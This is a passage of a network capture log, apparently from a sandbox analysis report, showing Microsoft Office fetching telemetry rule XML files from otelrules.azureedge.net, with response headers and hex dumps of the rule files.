2024-11-20 11:58:41 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:41 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d5dea27c-d01e-00ad-3c8c-3ae942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115841Z-1777c6cb754whff4hC1TEBcd6c0000000880000000004mgp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:41 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:41 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:41 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:41 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 0c3517a5-201e-0003-7a8c-3af85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115841Z-1777c6cb754xrr98hC1TEB3kag00000009e00000000063mb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:41 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:41 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:41 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:41 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 1afac609-801e-00a3-2b8c-3a7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115841Z-1777c6cb754xjpthhC1TEBexs800000009fg000000002vet x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:41 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:42 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:42 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:42 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: bfe6eb71-201e-006e-168c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115842Z-185f5d8b95ctl8xlhC1NYCn94g0000000a7g00000000c5gd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:42 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:42 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:42 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:42 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: a16a2ddb-901e-0064-058c-3ae8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115842Z-r1d97b99577brct2hC1TEBambg00000002m0000000002t4x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:42 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:42 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:42 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:42 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 4ac405f8-001e-002b-168c-3a99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115842Z-r1d97b9957747b9jhC1TEBgyec000000090g000000002ven x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:42 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:42 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:42 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:42 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 4e85307b-101e-007a-398c-3a047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115842Z-185f5d8b95csd4bwhC1NYCq7dc0000000a1000000000etdz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:42 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:42 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:42 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:42 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 873207a6-301e-001f-2d8c-3aaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115842Z-185f5d8b95c4vwv8hC1NYCy4v40000000a6g00000000hh5u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:42 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:42 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:42 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:42 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: a615b14a-d01e-008e-6e8c-3a387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115842Z-185f5d8b95cmd8vfhC1NYC0g40000000061g00000000ccfs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:42 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:42 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:43 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e2992adc-501e-005b-288c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115843Z-185f5d8b95c9mqtvhC1NYCghtc0000000a6000000000fkag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:43 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:43 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:43 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 947c99fd-001e-00a2-4d8c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115843Z-1777c6cb754g9zd5hC1TEBfvpw00000009t0000000001png x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:43 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:43 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:43 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:43 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: e9975653-d01e-0065-2d8c-3ab77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115843Z-185f5d8b95c4vwv8hC1NYCy4v40000000a8000000000efhs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:43 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" 